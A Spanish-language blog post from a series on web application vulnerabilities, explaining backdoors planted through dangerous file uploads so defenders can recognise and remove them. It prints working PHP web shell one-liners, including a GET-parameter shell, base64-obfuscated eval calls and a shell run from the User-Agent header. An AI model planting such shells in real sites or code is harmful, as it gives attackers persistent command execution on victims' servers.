VULNERABILIDADES DE APLICACIONES WEB: SUBIDA DE ARCHIVOS PELIGROSOS (IV) - PUERTAS TRASERAS (I)

19.03.2018 14:48
 
Sin duda subir una puerta trasera es lo primero que un pirata informático hará cuando encuentre una vulnerabilidad de subida de archivos peligrosos y por ende es bueno aprender a reconocerlas para eliminarlas cuanto antes. Será bueno hacer de la búsqueda manual de las mismas un acto de rutina (lo que no excluye otras medidas de seguridad, sólo las complementa).
 
Una puerta trasera es un script malicioso utilizado por un atacante con la intención de escalar y mantener el acceso persistente a una aplicación web ya comprometida. Un hacker puede instalar puertas taseras no solo con una vulnerabilidad de subida de archivos peligrosos  sino también al comprometer aplicaciones web utilizando técnicas como inyección SQL, inclusión remota de archivos, escritura de archivos o mediante credenciales válidas robadas a un administrador. El pirata informático también podrá utilizar como puertas traseras funcionalidades olvidadas  u ocultas (ver: geoestrategia.webnode.es/news/vulnerabilidades-de-aplicaciones-web-funcionalidades-olvidadas-y-funcionalidades-ocultas/).
 
En su forma más simple la puerta trasera puede ser algo así:
 
<?php system($_GET['comando']); ?>
 
aunque habitualmente habrá algún intento por disimular la verdera funcionalidad del código:
 
eval(base64_decode("c3lzdGVtKCdscyAtbGEnKTsNCg=="));
 
(en Linux)
 
eval(base64_decode("c3lzdGVtKCdkaXInKTs="));
 
(en Windows).
 
Obviamente se preferirá el método POST sobre el GET, pero el pirata informático también podría recurrir a algo así:
 
<?php system($_SERVER['HTTP_USER_AGENT']); ?>
 
ya que el agente de usuario (user agent) es muy fácil de manipular y de, en este caso, cambiar por un comando.